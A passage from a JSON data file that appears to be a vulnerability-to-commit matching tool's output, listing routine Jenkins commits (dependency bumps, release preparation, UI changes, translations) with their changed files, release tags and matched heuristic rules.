[Release notes](https://github.com/jenkinsci/pom/releases) - [Changelog](https://github.com/jenkinsci/pom/blob/master/CHANGELOG-old.md) - [Commits](https://github.com/jenkinsci/pom/compare/jenkins-1.109...jenkins-1.110) --- updated-dependencies: - dependency-name: org.jenkins-ci:jenkins dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8867": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "773e0c692a274182af1f7b41dcf2a0842c728076" + ] + ], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8867", + "relevance": 2 + } + ] + }, + { + "commit_id": "8908239882c07aeb206c7f51aa3e45152ca98e7f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701248540, + "hunks": 3, + "message": "[JENKINS-71737] fix redirect when submitting cloud changes (#8505) Co-authored-by: Alexander Brandes (cherry picked from commit ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11)", + "changed_files": [ + "core/src/main/java/hudson/slaves/Cloud.java", + "core/src/main/java/jenkins/agents/CloudSet.java", + "core/src/main/resources/hudson/slaves/Cloud/configure.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8505": "[JENKINS-71737] Fix redirect when submitting cloud changes #8310" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11" + ] + ], + "tags": [ + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8505", + "relevance": 2 + } + ] + }, + { + "commit_id": "e24627af9a44a203ce0820a9da0150acd6d7475a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711179044, + "hunks": 1, + "message": "Translate description of \"Plain text\" markup formatter to Turkish (#9062)", + "changed_files": [ + "core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_tr.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9062": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9062", + "relevance": 2 + } + ] + }, + { + "commit_id": "67a379e16a05bf87bfcf5d0a22a28d5677b35895", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711178978, + "hunks": 5, + "message": "Update dependency postcss to v8.4.37 (#9057) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9057": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9057", + "relevance": 2 + } + ] + }, + { + "commit_id": "706eda4c88fa06ddf40e5ab54ae90e8819fe672b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711133490, + "hunks": 224, + "message": "Update babel monorepo to v7.24.1 (#9061) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9061": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9061", + "relevance": 2 + } + ] + }, + { + "commit_id": "e0d94d9339401734f2472465a62355e7290444b8", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711037005, + "hunks": 5, + "message": "Update dependency postcss to v8.4.36 (#9055) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9055": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9055", + "relevance": 2 + } + ] + }, + { + "commit_id": "50269cabe440acf27804bc52b0820dbdcc1957d9", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1711036993, + "hunks": 7, + "message": "Remove duplicated words in Javadoc comments (#9056) chore: remove repetitive words Signed-off-by: veryyet ", + "changed_files": [ + "core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java", + "war/src/main/webapp/scripts/yui/dragdrop/dragdrop-debug.js", + "war/src/main/webapp/scripts/yui/editor/editor-debug.js", + "war/src/main/webapp/scripts/yui/editor/simpleeditor-debug.js", + "war/src/main/webapp/scripts/yui/menu/menu-debug.js", + "war/src/main/webapp/scripts/yui/yahoo/yahoo-debug.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9056": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9056", + "relevance": 2 + } + ] + }, + { + "commit_id": "713e4761d9ef99d1aa19981bb72ad2691e9f90a1", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710946224, + "hunks": 11, + "message": "[maven-release-plugin] prepare for next development iteration", + "changed_files": [ + "bom/pom.xml", + "cli/pom.xml", + "core/pom.xml", + "coverage/pom.xml", + "pom.xml", + "test/pom.xml", + "war/pom.xml", + "websocket/jetty10/pom.xml", + "websocket/spi/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "104a66c317e42b072b26437f630af6dc7b249fde" + ], + [ + "no-tag", + "86d39dd23bcd4d38d3bd1b278eb507618e40dc37" + ], + [ + "no-tag", + "bd37089adf185ec69639014e13d99bf6adf0e186" + ], + [ + "no-tag", + "3bea04c75e2509c4be5cd21be782de3657416c61" + ], + [ + "no-tag", + "95bff130c32c5c1fb049792d6419517748658633" + ], + [ + "no-tag", + "09905a09d95026dcd20634ed48e810b209ce46da" + ], + [ + "no-tag", + "f3da1f0638f0a5c7f14e2c7bdf6ffb2a37b30860" + ], + [ + "no-tag", + "5d5ad30cf51661dd609433885205267e0b13005d" + ], + [ + "no-tag", + "1b4affc2018611908eef75d68d46c49cc862edc7" + ], + [ + "no-tag", + "ec5c07252a24578f4ee04a0142de89e9a9e892bc" + ], + [ + "no-tag", + "2ece2ccc9db5295413d1fd7772673ac1aa5bc55f" + ], + [ + "no-tag", + "2bc5292feb0e1832b972dc7e1e75984598c9b67e" + ], + [ + "no-tag", + "92d7c3cd70ace4f99a790a430cccbb04079a64f4" + ], + [ + "no-tag", + "24dd6c2180e0ba9544914a297da8e911ba61b9ba" + ], + [ + "no-tag", + "111b3f28be852584b1a1e9e78a05ba9827012798" + ], + [ + "no-tag", + "2923a7785ea735b0b90a8cfb2cbf67bbf864356e" + ], + [ + "no-tag", + "51b49173120a8c41faffe0acd6637681d3e2325e" + ], + [ + "no-tag", + "19863eb487d6b155ca5bdb5ea41ac765da5976a7" + ], + [ + "no-tag", + "3c8d90569bc4885fb645d6acfc0c11a68616e0f2" + ], + [ + "no-tag", + "d6f5c20409f0c05824b54f937c07c059c6bf5f9e" + ] + ], + "tags": [ + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "3037c91b3e21771fbb855b95083add15c2d283de", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710946203, + "hunks": 10, + "message": "[maven-release-plugin] prepare release jenkins-2.440.2", + "changed_files": [ + "bom/pom.xml", + "cli/pom.xml", + "core/pom.xml", + "coverage/pom.xml", + "pom.xml", + "test/pom.xml", + "war/pom.xml", + "websocket/jetty10/pom.xml", + "websocket/spi/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "6fac92d015be4318ed5d8016c589ad9c9f308a38" + ], + [ + "no-tag", + "9375b5d3012fa5684e7d86e69602923c9890290d" + ], + [ + "no-tag", + "9ed5f66f62ac5b116357d2f58cb37ca3161c5b60" + ], + [ + "no-tag", + "e4ac97f4cfd9b3a0769ac09170b0e25530bed82d" + ], + [ + "no-tag", + "1585bf8798b308cd40057e90d376dcc485d1c1dd" + ], + [ + "no-tag", + "2952e7bcafa07a844a645a59be4297f543fd2cbb" + ], + [ + "no-tag", + "8c5b7ec3e85512ac115e77bfedb6325e272ffbb7" + ], + [ + "no-tag", + "7dc5d1fecc2588a07ad47e3bae294f59f8de6ab8" + ], + [ + "no-tag", + "f1e9bbc410604bd2f82c65df3d92d02826312a84" + ], + [ + "no-tag", + "3eb70099423f93c9de29fca3c6b5b6efd2847ad0" + ], + [ + "no-tag", + "02f2a4cc586630e6637ff9bc4e0eb611a79efb05" + ], + [ + "no-tag", + "018bd8e4d9bf36e3267a2b84548e0bc7b1c42999" + ], + [ + "no-tag", + "660d6f63a4d7952d3bd72a74f557f209cc6c15f3" + ], + [ + "no-tag", + "245cf73b0fb311d86116ad4e3211b74b0e02426d" + ], + [ + "no-tag", + "4947fe6aad6702225f22f18f8a1a23200e4fd364" + ], + [ + "no-tag", + "4e424abc285fcff4d81415b97f854c533a1ff89f" + ], + [ + "no-tag", + "49c305dfb7a07b54eff2baee5b8c87c1b6278303" + ], + [ + "no-tag", + "10b1b883319ff21bfe742bd0abe225dd12f10c2b" + ], + [ + "no-tag", + "3b0de10df3bedba515e13032104d4d84f83045be" + ], + [ + "no-tag", + "3555f365dfa39160e5f776d9a20a9b36aa8798f3" + ] + ], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "d09ae8c7bb90a75ade3296e5dad3ba37ab0cb4c3", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710798262, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.14.1 to 10.14.2. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.14.1...checkstyle-10.14.2) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9048": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9048", + "relevance": 2 + } + ] + }, + { + "commit_id": "db52842ca3568fa6781ca6d28c00e26bfbcf7865", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710788427, + "hunks": 4, + "message": "Update dependency sass to v1.72.0 (#9046) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9046": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9046", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f790a3142c76a33f1dbd8409715b867a53836c8", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710781557, + "hunks": 1, + "message": "Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps [org.awaitility:awaitility](https://github.com/awaitility/awaitility) from 4.2.0 to 4.2.1. - [Changelog](https://github.com/awaitility/awaitility/blob/master/changelog.txt) - [Commits](https://github.com/awaitility/awaitility/compare/awaitility-4.2.0...awaitility-4.2.1) --- updated-dependencies: - dependency-name: org.awaitility:awaitility dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9043": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9043", + "relevance": 2 + } + ] + }, + { + "commit_id": "c0f27461fc9c367ad73dafcce3e07ca26ca22523", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710773959, + "hunks": 14, + "message": "`QueueIdStrategy` (#9020)", + "changed_files": [ + "core/src/main/java/hudson/model/Queue.java", + "core/src/main/java/jenkins/model/queue/QueueIdStrategy.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9020": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9020", + "relevance": 2 + } + ] + }, + { + "commit_id": "229724953b8430fe344bd78e2926727178e0247e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710773945, + "hunks": 8, + "message": "[JENKINS-69191] new icon for agent not accepting tasks and computer icon legend (#8823) * [JENKINS-69191] icon for agent not accepting tasks This change adds another icon for the case when an agent is not accepting tasks, e.g. because the retention strategy avoids this. The makes it easier to decide whether an agent is in a non healthy state. A legend button is added below the computer overview table that shows an explanation for the icons. * fix style", + "changed_files": [ + "core/src/main/java/hudson/model/Computer.java", + "core/src/main/resources/hudson/model/ComputerSet/_legend.jelly", + "core/src/main/resources/hudson/model/ComputerSet/_legend.properties", + "core/src/main/resources/hudson/model/ComputerSet/index.jelly", + "war/src/main/js/pages/computer-set/index.js", + "war/src/main/resources/images/symbols/computer-not-accepting.svg", + "war/webpack.config.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8823": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8823", + "relevance": 2 + } + ] + }, + { + "commit_id": "730c59fe4d1d49af681df32e49eac72a629ce0c4", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710448570, + "hunks": 60, + "message": "Add components for dropdown items (#8827) * Init * Update taglib * Add docs * Add additional docs * Update header.jelly * Remove translations * Linting * Update utils.js * Add clazz * Update templates.js * Address comments * Fix failing tests due to JS change * Update templates.js * Fix properties not being set correctly * XML escape clazz, URL and ID --------- Co-authored-by: Mark Waite ", + "changed_files": [ + "core/src/main/resources/hudson/PluginManager/available.jelly", + "core/src/main/resources/hudson/logging/LogRecorder/index.jelly", + "core/src/main/resources/hudson/logging/LogRecorderManager/feeds.jelly", + "core/src/main/resources/lib/hudson/rssBar.jelly", + "core/src/main/resources/lib/hudson/rssBar.properties", + "core/src/main/resources/lib/hudson/rssBar_bg.properties", + "core/src/main/resources/lib/hudson/rssBar_ca.properties", + "core/src/main/resources/lib/hudson/rssBar_cs.properties", + "core/src/main/resources/lib/hudson/rssBar_da.properties", + "core/src/main/resources/lib/hudson/rssBar_de.properties", + "core/src/main/resources/lib/hudson/rssBar_el.properties", + "core/src/main/resources/lib/hudson/rssBar_es.properties", + "core/src/main/resources/lib/hudson/rssBar_es_AR.properties", + "core/src/main/resources/lib/hudson/rssBar_et.properties", + "core/src/main/resources/lib/hudson/rssBar_fi.properties", + "core/src/main/resources/lib/hudson/rssBar_fr.properties", + "core/src/main/resources/lib/hudson/rssBar_he.properties", + "core/src/main/resources/lib/hudson/rssBar_hu.properties", + "core/src/main/resources/lib/hudson/rssBar_it.properties", + "core/src/main/resources/lib/hudson/rssBar_ja.properties", + "core/src/main/resources/lib/hudson/rssBar_ko.properties", + "core/src/main/resources/lib/hudson/rssBar_lt.properties", + "core/src/main/resources/lib/hudson/rssBar_lv.properties", + "core/src/main/resources/lib/hudson/rssBar_nb_NO.properties", + "core/src/main/resources/lib/hudson/rssBar_nl.properties", + "core/src/main/resources/lib/hudson/rssBar_pl.properties", + "core/src/main/resources/lib/hudson/rssBar_pt_BR.properties", + "core/src/main/resources/lib/hudson/rssBar_pt_PT.properties", + "core/src/main/resources/lib/hudson/rssBar_ro.properties", + "core/src/main/resources/lib/hudson/rssBar_ru.properties", + "core/src/main/resources/lib/hudson/rssBar_sk.properties", + "core/src/main/resources/lib/hudson/rssBar_sl.properties", + "core/src/main/resources/lib/hudson/rssBar_sr.properties", + "core/src/main/resources/lib/hudson/rssBar_sv_SE.properties", + "core/src/main/resources/lib/hudson/rssBar_tr.properties", + "core/src/main/resources/lib/hudson/rssBar_uk.properties", + "core/src/main/resources/lib/hudson/rssBar_zh_TW.properties", + "core/src/main/resources/lib/layout/dropdowns/custom.jelly", + "core/src/main/resources/lib/layout/dropdowns/header.jelly", + "core/src/main/resources/lib/layout/dropdowns/item.jelly", + "core/src/main/resources/lib/layout/dropdowns/separator.jelly", + "core/src/main/resources/lib/layout/dropdowns/submenu.jelly", + "core/src/main/resources/lib/layout/dropdowns/taglib", + "core/src/main/resources/lib/layout/layout.jelly", + "core/src/main/resources/lib/layout/overflowButton.jelly", + "war/src/main/js/components/dropdowns/overflow-button.js", + "war/src/main/js/components/dropdowns/templates.js", + "war/src/main/js/components/dropdowns/utils.js", + "war/src/main/js/pages/dashboard/index.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8827": "Add 'Dropdowns' page jenkinsci/design-library-plugin#311" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8827", + "relevance": 2 + } + ] + }, + { + "commit_id": "471bf225f489c0cfdde3af6378cc4f05f099e10a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710448476, + "hunks": 6, + "message": "Remove unnecessary `` entries (#9037)", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9037": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + 